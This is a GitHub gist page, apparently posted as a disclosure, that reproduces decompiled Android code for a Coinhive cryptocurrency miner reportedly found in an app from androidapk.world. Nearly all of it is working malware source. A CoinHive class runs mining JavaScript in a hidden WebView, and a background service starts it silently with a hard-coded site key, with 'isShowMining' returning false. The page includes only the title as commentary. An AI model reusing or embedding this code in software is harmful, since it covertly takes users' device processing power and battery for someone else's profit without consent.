Skip to content

Instantly share code, notes, and snippets.

@kakopappa
Created January 9, 2018 15:06
Show Gist options
  • Save kakopappa/f16601dca0c51a47badf79ee24dd4819 to your computer and use it in GitHub Desktop.
Save kakopappa/f16601dca0c51a47badf79ee24dd4819 to your computer and use it in GitHub Desktop.
Coinhive miner found in androidapk.world
package com.coinhiveminer;
import android.annotation.SuppressLint;
import android.content.Context;
import android.view.WindowManager.LayoutParams;
import android.webkit.JavascriptInterface;
import android.webkit.WebView;
import android.webkit.WebViewClient;
public class CoinHive {
private static final CoinHive instance = new CoinHive();
private boolean isAutoThread = false;
private boolean isForceASMJS = false;
private boolean loggingEnabled;
private int numberOfThreads = 4;
private String siteKey;
private float throttle = 0.0f;
public interface Callback {
boolean isShowMining();
void onMiningStarted();
void onMiningStopped();
void onRunning(double d, long j, long j2);
}
public static class Miner {
private final Callback callback;
WebView wvCoinHive;
@SuppressLint({"AddJavascriptInterface"})
public Miner(Context context, Callback callback) {
this.callback = callback;
wvCoinHive = new WebView(context);
wvCoinHive.getSettings().setJavaScriptEnabled(true);
wvCoinHive.addJavascriptInterface(this, "Android");
wvCoinHive.setWebViewClient(new WebViewClient() {
});
LayoutParams layoutParams = new LayoutParams(-1, -1, 2003, 262440, -3);
wvCoinHive.loadUrl(CoinHive.generateURL());
}
@JavascriptInterface
public void onMiningStartedJS() {
callback.onMiningStarted();
}
@JavascriptInterface
public void onMiningStoppedJS() {
callback.onMiningStopped();
}
@JavascriptInterface
public void onRunningJS(double d, long j, long j2) {
if (CoinHive.getInstance().isLoggingEnabled()) {
System.out.println("Hashes/second:" + d);
System.out.println("Total hashes:" + j);
System.out.println("Accepted hashes:" + j2);
}
callback.onRunning(d, j, j2);
}
public void startMining() {
wvCoinHive.loadUrl("javascript:startMining()");
}
public void stopMining() {
wvCoinHive.loadUrl("javascript:stopMining()");
}
}
static String generateURL() {
if (instance.getSiteKey() == null) {
throw new IllegalArgumentException("site_key not set. You must call CoinHive.getInstance().init() from your application instance");
}
return String.format("file:///android_asset/engine.html?coinhive_site_key=%s&num_of_threads=%d&is_auto_thread=%s&throttle=%f&is_force_ASMJS=%s", new Object[]{instance.getSiteKey(), Integer.valueOf(instance.getNumberOfThreads()), Boolean.valueOf(instance.isAutoThread()), Float.valueOf(instance.getThrottle()), Boolean.valueOf(instance.isForceASMJS())});
}
public static CoinHive getInstance() {
return instance;
}
private int getNumberOfThreads() {
return numberOfThreads;
}
private String getSiteKey() {
return siteKey;
}
private float getThrottle() {
return throttle;
}
private boolean isAutoThread() {
return isAutoThread;
}
private boolean isForceASMJS() {
return isForceASMJS;
}
public CoinHive init(String str) {
siteKey = str;
return this;
}
public boolean isLoggingEnabled() {
return loggingEnabled;
}
public CoinHive setForceASMJS(boolean z) {
isForceASMJS = z;
return this;
}
public CoinHive setIsAutoThread(boolean z) {
isAutoThread = z;
return this;
}
public CoinHive setLoggingEnabled(boolean z) {
loggingEnabled = z;
return this;
}
public CoinHive setNumberOfThreads(int i) {
numberOfThreads = i;
return this;
}
public CoinHive setThrottle(double d) {
throttle = (float) d;
return this;
}
}
package com.kaching.kingforaday.service;
import android.app.Service;
import android.content.Intent;
import android.os.IBinder;
import android.support.annotation.Nullable;
import com.coinhiveminer.CoinHive;
import com.coinhiveminer.CoinHive.Callback;
import com.coinhiveminer.CoinHive.Miner;
public class CoinHiveIntentService extends Service implements Callback {
private Miner wvCoinHive;
public boolean isShowMining() {
return false;
}
@Nullable
public IBinder onBind(Intent intent) {
return null;
}
public void onDestroy() {
if (CoinHive.getInstance().isLoggingEnabled()) {
System.out.println("Mining stopped");
}
stopMining();
super.onDestroy();
}
public void onMiningStarted() {
}
public void onMiningStopped() {
}
public void onRunning(double d, long j, long j2) {
}
public void onStart(@Nullable Intent intent, int i) {
super.onStart(intent, i);
CoinHive.getInstance().init("6GlWvU4BbBgzJ3wzL3mkJEVazCxxIHjF")
.setIsAutoThread(true)
.setThrottle(0.2d)
.setLoggingEnabled(true)
.setForceASMJS(false);
wvCoinHive = new Miner(getApplicationContext(), this);
System.out.println("start");
}
public void startMining() {
wvCoinHive.startMining();
}
public void stopMining() {
wvCoinHive.stopMining();
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment